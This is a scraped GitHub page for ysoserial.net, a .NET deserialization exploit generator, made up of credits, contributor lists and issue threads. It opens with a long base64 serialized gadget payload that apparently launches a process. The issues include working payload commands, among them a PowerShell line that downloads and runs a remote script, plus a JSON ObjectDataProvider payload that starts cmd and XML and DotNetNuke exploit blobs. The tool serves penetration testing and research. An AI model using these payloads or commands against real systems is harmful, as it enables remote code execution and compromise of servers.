AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011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aGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==

v2 Branch

v2 branch is a copy of ysoserial.net (15/03/2018) that has been changed to work with .NET Framework 2.0 by irsdl. Although this project can be used with applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.

Contributing

  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request

Thanks

Special thanks to all contributors:

Credits

$ ./ysoserial.exe --credit

ysoserial.net has been originally developed by Alvaro Munoz (@pwntester)
this tool is being maintained by Soroush Dalili (@irsdl) and Alvaro Munoz (@pwntester) 

Credits for available gadgets:
        ActivitySurrogateDisableTypeCheck
                [Finders: Nick Landers]
        ActivitySurrogateSelector
                [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
        ActivitySurrogateSelectorFromFile
                [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]
        AxHostState
                [Finders: Soroush Dalili]
        BaseActivationFactory
                [Finders: Piotr Bazydlo]
        ClaimsIdentity
                [Finders: Soroush Dalili]
        ClaimsPrincipal
                [Finders: jang]
        DataSet
                [Finders: James Forshaw] [Contributors: Soroush Dalili]
        DataSetOldBehaviour
                [Finders: Steven Seeley] [Contributors: Soroush Dalili]
        DataSetOldBehaviourFromFile
                [Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili]
        DataSetTypeSpoof
                [Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang]
        GenericPrincipal
                [Finders: Soroush Dalili]
        GetterCompilerResults
                [Finders: Piotr Bazydlo]
        GetterSecurityException
                [Finders: Piotr Bazydlo]
        GetterSettingsPropertyValue
                [Finders: Piotr Bazydlo]
        ObjectDataProvider
                [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans]
        ObjRef
                [Finders: Markus Wulftange]
        PSObject
                [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz]
        ResourceSet
                [Finders: Soroush Dalili]
        RolePrincipal
                [Finders: Soroush Dalili]
        SessionSecurityToken
                [Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili]
        SessionViewStateHistoryItem
                [Finders: Soroush Dalili]
        TextFormattingRunProperties
                [Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo]
        ToolboxItemContainer
                [Finders: @frycos]
        TypeConfuseDelegate
                [Finders: James Forshaw] [Contributors: Alvaro Munoz]
        TypeConfuseDelegateMono
                [Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili]
        WindowsClaimsIdentity
                [Finders: Soroush Dalili]
        WindowsIdentity
                [Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili]
        WindowsPrincipal
                [Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio]
        XamlAssemblyLoadFromFile
                [Finders: Soroush Dalili] [Contributors: russtone]
        XamlImageInfo
                [Finders: Piotr Bazydlo]

Credits for available plugins:
        ActivatorUrl
                Harrison Neal
        Altserialization
                Soroush Dalili
        ApplicationTrust
                Soroush Dalili
        Clipboard
                Soroush Dalili
        DotNetNuke
                discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch
        GetterCallGadgets
                Piotr Bazydlo
        NetNonRceGadgets
                Piotr Bazydlo
        Resx
                Soroush Dalili
        SessionSecurityTokenHandler
                Soroush Dalili
        SharePoint
                CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up)  - implemented by Soroush Dalili
        ThirdPartyGadgets
                Piotr Bazydlo
        TransactionManagerReenlist
                Soroush Dalili
        ViewState
                Soroush Dalili

Various other people have also donated their time and contributed to this project.
Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to find those who have helped developing more features or have fixed bugs.

Additional Reading

ysoserial.net references in the wild

Research:

Usage:

Talks:

Tools:

CTF write-ups:

ysoserial.net's People

Contributors

bort-millipede avatar chudypb avatar cykutw avatar denandz avatar ds-kurt-boberg avatar frycos avatar glitchwitch avatar h3xstream avatar hantwister avatar idealphase avatar irsdl avatar jarlob avatar martinvw avatar mwulftange avatar ninespsygnosis avatar nt0xa avatar paralax avatar pwntester avatar ramzeth avatar ricterz avatar shelld3v avatar stevenseeley avatar testanull avatar the-emmon avatar y4er avatar yallie avatar zcgonvh avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ysoserial.net's Issues

Unable to cast object of type 'System.Windows.Data.ObjectDataProvider' to type 'System.Windows.Media.Brush'

I test debugging ysoserial.net source code with options -f BinaryFormatter -o base64 -c 'calc' -g WindowsClaimsIdentity --test to see if the gadget works.

I always get this error: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Runtime.Serialization.SerializationException: ID4282: There was an error deserializing a new 'WindowsClaimsIdentity' instance. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.InvalidCastException: Unable to cast object of type 'System.Windows.Data.ObjectDataProvider' to type 'System.Windows.Media.Brush'
image

To be sure, I have cleaned and rebuilt the project before each run:
image

However, when I run the built file source\ysoserial\bin\Debug\ysoserial.exe then it works!?

So What does this error means? and Why deserializing when debug project raise the error?

Gadget not supported

I see README.md apply:
RolePrincipal
DataSet
ClaimsIdentity

but i run "ysoserial.exe -h", did not show above gaget, so i need some help. thank you.

cant running on Kali Linux

Hello, I download the master-Release-26
Unzip it and the chmod +x ysoserial.exe
But get the error

Unhandled Exception: System.Reflection.ReflectionTypeLoadException: Exception of type 'System.Reflection.ReflectionTypeLoadException' was thrown. Could not load file or assembly 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies. at (wrapper managed-to-native) System.Reflection.Assembly.GetTypes(System.Reflection.Assembly,bool) at System.Reflection.Assembly.GetTypes () [0x00000] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at ysoserial.Program+<>c.<Main>b__11_0 (System.Reflection.Assembly s) [0x00000] in <8eb34f80e7574b5f9f3f1f7b0e92d8f7>:0 at System.Linq.Enumerable+SelectManySingleSelectorIterator2[TSource,TResult].MoveNext () [0x0005f] in <13c0993ff82548209b09f271bd5e6a78>:0
at System.Linq.Enumerable+WhereSelectEnumerableIterator2[TSource,TResult].ToList () [0x00041] in <13c0993ff82548209b09f271bd5e6a78>:0 at System.Linq.Enumerable.ToList[TSource] (System.Collections.Generic.IEnumerable1[T] source) [0x00021] in <13c0993ff82548209b09f271bd5e6a78>:0
at ysoserial.Program.Main (System.String[] args) [0x00132] in <8eb34f80e7574b5f9f3f1f7b0e92d8f7>:0
System.IO.FileNotFoundException: Could not load file or assembly 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies.
File name: 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
[ERROR] FATAL UNHANDLED EXCEPTION: System.Reflection.ReflectionTypeLoadException: Exception of type 'System.Reflection.ReflectionTypeLoadException' was thrown.
Could not load file or assembly 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies.
at (wrapper managed-to-native) System.Reflection.Assembly.GetTypes(System.Reflection.Assembly,bool)
at System.Reflection.Assembly.GetTypes () [0x00000] in :0
at ysoserial.Program+<>c.

b__11_0 (System.Reflection.Assembly s) [0x00000] in <8eb34f80e7574b5f9f3f1f7b0e92d8f7>:0
at System.Linq.Enumerable+SelectManySingleSelectorIterator2[TSource,TResult].MoveNext () [0x0005f] in <13c0993ff82548209b09f271bd5e6a78>:0 at System.Linq.Enumerable+WhereSelectEnumerableIterator2[TSource,TResult].ToList () [0x00041] in <13c0993ff82548209b09f271bd5e6a78>:0
at System.Linq.Enumerable.ToList[TSource] (System.Collections.Generic.IEnumerable1[T] source) [0x00021] in <13c0993ff82548209b09f271bd5e6a78>:0 at ysoserial.Program.Main (System.String[] args) [0x00132] in <8eb34f80e7574b5f9f3f1f7b0e92d8f7>:0 System.IO.FileNotFoundException: Could not load file or assembly 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' or one of its dependencies. File name: 'System.Transactions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'

uname -a

5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86_64 GNU/Linux

Detection without out-of-band interaction

Hello,
I'm training on deserialization and I'm currently on .NET, so already thank you for this tool and your conferences, it helped me a lot.

After having created a simple lab with a deserialization in a viewstate (MAC not enabled / Viewstate not encrypted), I wonder if it is possible to block the execution of the thread in cases where an out of band detection is not possible ?

For example, if I generate the payload with the following command, the output will be written to the specified file.

.\ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 1234 > C:/Windows/temp/exploit.txt"

I can also have a DNS request with the following payload

.\ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "ping my.server.tld -n 10"

But if I do a sleep, the command will be transparent because it is executed in a thread, is it possible to block the thread ? or to do otherwise ? (for example modify the gadget ?)

Regards

Update Outdated Dependencies

Many dependencies of this project are now long longer supported, have been removed from NuGet for the version specified, or contain security issues in the version used. It would likely be a good idea to go a run through of all of the dependencies and update the project to use more modern versions where applicable or find suitable replacements where the project is no longer maintained.

XMLMinifier removing needed variables

The XLST in the XMLMinifier is removing needed variables for the datacontractserializer formatter when using the WindowsPrinciple gadget.

This is a reminder for @irsdl to patch the XSLT to give the option of removing the variables or not and/or only remove the variables if not in use.

Find a way to exploit DataContractSerializer if only the expected type is controlled

Although it is written in whitepaper that in DataContractSerializer case it is enough to control the expected type only, the trick with ExpandedWrapper to include the Process into the object's graph doesn't work in the example below:

<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <item type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement i:nil="true" xmlns:a="http://schemas.datacontract.org/2004/07/System.Diagnostics"/>
      <ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
        <a:MethodName>Start</a:MethodName>
        <a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
          <b:anyType i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">calc</b:anyType>
        </a:MethodParameters>
        <a:ObjectInstance i:type="b:Process" xmlns:b="http://schemas.datacontract.org/2004/07/System.Diagnostics">
          <__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
        </a:ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
  </item>
</root>

It works only if typeof(Process) is passed as a knownType

            var xmlDoc = new XmlDocument();
            xmlDoc.Load("testdeser.xml");
 
            foreach (XmlElement xmlItem in xmlDoc.SelectNodes("root/item"))
            {
                string typeName = xmlItem.GetAttribute("type");
                var s = new DataContractSerializer(Type.GetType(typeName), new[] { typeof(Process) });
                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
                var a = s.ReadObject(reader);
            }

Cannot compile TypeConfuseDelegate gadget

IComparer<string> comp = Comparer<string>.Create(d);

SortedSet<string> set = new SortedSet<string>(comp);

I've noticed that the class here is not referenced inside the VS Project. I tried to import and when compiling it give me errors:

error CS0117: 'Comparer' does not contain a definition for 'Create'
error CS0246: The type or namespace name 'SortedSet<>' could not be found (are you missing a using directive or an assembly reference?)

I've noticed that the class SortedSet is not present into .NET 2.0 and neither does Comparer.Create

Since this gadget should be smaller than ActivitySurrogateSelector, I'd like to compile and use it.
Is this class left outside the project on purpose? Is there a way to compile it and use on .NET 2.0 targets?

Error loadFromRemoteSources

Hello,

I have an error executing a PSObject payload (ASP.NET Core Runtime 2.1.23). Does it means I have to bypass loadFromRemoteSources restrictions on the target too?

ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "ping 10.0.0.1" -t

Unhandled Exception: System.NotSupportedException: An attempt was made to load an assembly from a network location which would have caused the assembly to be sandboxed in previous versions of the .NET Framework. This release of the .NET Framework does not enable CAS policy by default, so this load may be dangerous. If this load is not intended to sandbox the assembly, please enable the loadFromRemoteSources switch. See http://go.microsoft.com/fwlink/?LinkId=155569 for more information.
at System.Reflection.RuntimeAssembly.nLoadFile(String path, Evidence evidence)
at System.Reflection.Assembly.LoadFile(String path)
at ysoserial.Generators.PSObjectGenerator.Generate(String formatter, InputArgs inputArgs) in D:\a\ysoserial.net\ysoserial.net\ysoserial\Generators\PSObjectGenerator.cs:line 67
at ysoserial.Generators.GenericGenerator.GenerateWithInit(String formatter, InputArgs inputArgs) in D:\a\ysoserial.net\ysoserial.net\ysoserial\Generators\GenericGenerator.cs:line 68
at ysoserial.Program.Main(String[] args) in D:\a\ysoserial.net\ysoserial.net\ysoserial\Program.cs:line 197

Differences in output from plugin DotNetNuke using release 1.32 vs 1.34.

Hi,

I noticed that in using a command like, ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe iex (New-Object Net.WebClient).DownloadString('https://example.com/helloWorld.ps1')"_ produces a slightly longer output in version 1.32 than 1.34. Along with this, the output from the newer version didn't succeed in executing, but version 1.32 did. The difference in length looks like it is inside of the "anytype" tags.

The outputs are the following:
1.32:
<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">Deserialize/wEylxIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49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tZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==`

1.34:
<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">Deserialize/wEy7gcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlP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IEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L`

Is there any gadget for .NET Core?

Quickly tried to make a sample vulnerable .NET Core 2.1 app. It looks like none of the gadget works on .net core :( but maybe I missed something.

Handling gadgets that don't result in command execution

(Ideally I'd start a discussion for this, but I don't believe that's enabled for this repository.)

Currently Ysoserial.NET primarily works to support generation of gadget payloads that execute a command on deserialization. There are some exceptions to this rule as some gadgets allow you to specify files and there is a plugin option to handle special cases for specific technologies.

I've been doing quite a lot of research recently into different types of gadgets that would allow a researcher to generate payloads that can perform other useful actions, such as exfiltrating files via XXE gadget chains during deserialization. I've even got a PoC that works on .NET Core and .NET 7, utilizing the serializer to bypass the default XML parsing security configurations introduced in .NET 4.5.2.

I believe there is probably some interest in being able to generate these, but I'm not sure what the consensus would be on how to approach it with respect to listing the gadgets and avoiding cluttering the command line options.

ArgumentNullException

Hi there,
I have this valid json request

{"IsSafeSearchEnabled":true,"IsSearchMonitorEnabled":true,"IsGoogleHttpsRedirectEnabled":false,"ExcludedEntities":[{"EntityType":0,"Name":"test"}]}

for executing the RCE I used this command

ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -o raw -c "calc" -t
{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c calc'
        }
    }
}

but getting this error, could you say what I did wrong?

[ArgumentNullException: Value cannot be null. Name of parameter: type]
System.Activator.CreateInstance(Type type, Boolean nonPublic) +11110602
  System.Activator.CreateInstance(Type type) +66
  System.Web.Script.Serialization.ObjectConverter.ConvertDictionaryToObject(IDictionary`2 dictionary, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object&amp; convertedObject) +418
  System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeInternal(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object&amp; convertedObject) +66
  System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeMain(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object&amp; convertedObject) +145
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +201
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +393
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +157
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +393
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +157
  System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(String input, Int32 depthLimit, JavaScriptSerializer serializer) +78
  System.Web.Script.Serialization.JavaScriptSerializer.Deserialize(JavaScriptSerializer serializer, String input, Type type, Int32 depthLimit) +44
  System.Web.Mvc.JsonValueProviderFactory.GetDeserializedObject(ControllerContext controllerContext) +210
  System.Web.Mvc.JsonValueProviderFactory.GetValueProvider(ControllerContext controllerContext) +16
  System.Web.Mvc.&lt;&gt;c__DisplayClassc.&lt;GetValueProvider&gt;b__7(ValueProviderFactory factory) +34
  System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +157
  System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +183
  System.Collections.Generic.List`1..ctor(IEnumerable`1 collection) +460
  System.Linq.Enumerable.ToList(IEnumerable`1 source) +58
  System.Web.Mvc.ValueProviderFactoryCollection.GetValueProvider(ControllerContext controllerContext) +260
  System.Web.Mvc.ControllerBase.get_ValueProvider() +25
  System.Web.Mvc.ControllerActionInvoker.GetParameterValue(ControllerContext controllerContext, ParameterDescriptor parameterDescriptor) +62
  System.Web.Mvc.ControllerActionInvoker.GetParameterValues(ControllerContext controllerContext, ActionDescriptor actionDescriptor) +105
  System.Web.Mvc.Async.&lt;&gt;c__DisplayClass25.&lt;BeginInvokeAction&gt;b__1e(AsyncCallback asyncCallback, Object asyncState) +445
  System.Web.Mvc.Async.WrappedAsyncResult`1.Begin(AsyncCallback callback, Object state, Int32 timeout) +129
  System.Web.Mvc.Async.AsyncControllerActionInvoker.BeginInvokeAction(ControllerContext controllerContext, String actionName, AsyncCallback callback, Object state) +302
  System.Web.Mvc.&lt;&gt;c__DisplayClass1d.&lt;BeginExecuteCore&gt;b__17(AsyncCallback asyncCallback, Object asyncState) +30
  System.Web.Mvc.Async.WrappedAsyncResult`1.Begin(AsyncCallback callback, Object state, Int32 timeout) +129
  System.Web.Mvc.Controller.BeginExecuteCore(AsyncCallback callback, Object state) +338
  System.Web.Mvc.Async.WrappedAsyncResult`1.Begin(AsyncCallback callback, Object state, Int32 timeout) +129
  System.Web.Mvc.Controller.BeginExecute(RequestContext requestContext, AsyncCallback callback, Object state) +316
  System.Web.Mvc.Controller.System.Web.Mvc.Async.IAsyncController.BeginExecute(RequestContext requestContext, AsyncCallback callback, Object state) +15
  System.Web.Mvc.&lt;&gt;c__DisplayClass8.&lt;BeginProcessRequest&gt;b__2(AsyncCallback asyncCallback, Object asyncState) +71
  System.Web.Mvc.Async.WrappedAsyncResult`1.Begin(AsyncCallback callback, Object state, Int32 timeout) +129
  System.Web.Mvc.MvcHandler.BeginProcessRequest(HttpContextBase httpContext, AsyncCallback callback, Object state) +251
  System.Web.Mvc.MvcHandler.BeginProcessRequest(HttpContext httpContext, AsyncCallback callback, Object state) +48
  System.Web.Mvc.MvcHandler.System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext context, AsyncCallback cb, Object extraData) +16
  System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +301
  System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously) +155

at the server deserialize code like this

JavaScriptSerializer jsonSerializer = new JavaScriptSerializer();
			System.Collections.Generic.Dictionary<string, string> data = jsonSerializer.Deserialize<System.Collections.Generic.Dictionary<string, string>>(requestBody);

thank you

The problem of deserializing AES\3DES in Viewstate

Hello!

Viewstate, generate a payload encrypted as AES and 3DES, and the test cannot be deserialized. The query data is (if the signature algorithm is aes/3des, no matter whether the encryption function is enabled or not, we just need to sign the data first, encrypt it again, and then sign it again as mentioned earlier. Then send it to the server, asp.net enters getdecodeddata(), and then encryptordecryptdata() first for verification and decryption, and then verify it again after coming out.), How to solve this problem? There are also lower versions of V2 Net2.0viewstate deserialization how should I use the chain?

Attempted code

ysoserial. exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/hello.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="xxxxxxxxxx" --validationalg="AES" --validationkey="xxxxxxxxxx"

ysoserial. exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/hello.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="xxxxxxxxxx" --validationalg="3DES" --validationkey="xxxxxxxxxx"

Integrate into Zaproxy?

This tool could be really awesome if it will be integrated into Zap - using it to attack/tests web app will be a lot easier. I've opened an issue (zaproxy/zaproxy#4112) - so feel free to join the discussion...

Help on how to build.

Please am trying to build the v2 branch for an old asp.net server i came across.
Please help with guide on how to build.

cannot be exploited when in compatibility mode....... compatibilityMode="Framework45"

NetVersion: 4.7.03062

<machineKey compatibilityMode="Framework45" decryptionKey="AutoGenerate,IsolateApps" validationKey="AutoGenerate,IsolateApps" />

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "test.cs;System.dll;System.IO.dll;System.Web.dll" --validationalg="HMACSHA256" --validationkey="9E23971A70539C4C5D1EFE2FACD22B03C2BCE8414D6FB1D1308F5A47C839808EC7C8156654AB8FB14CB643B7954C3956191C7690F0F4EF5104C1E93EA3540871" --decryptionalg="Auto" --decryptionkey="9E23971A87F9ED201A833CDEBAF01C9C7DFF2A72B6E1D087" --apppath="/owa" --path="/owa/auth/logon.aspx" --islegacy --isdebug > test.txt

The response is always 200

no compatibility mode
image

compatibility mode
image

Any gadget for .NET Core

Tried to make a sample vulnerable .NET Core 3.0 app. It looks like none of the gadget works on .net core.

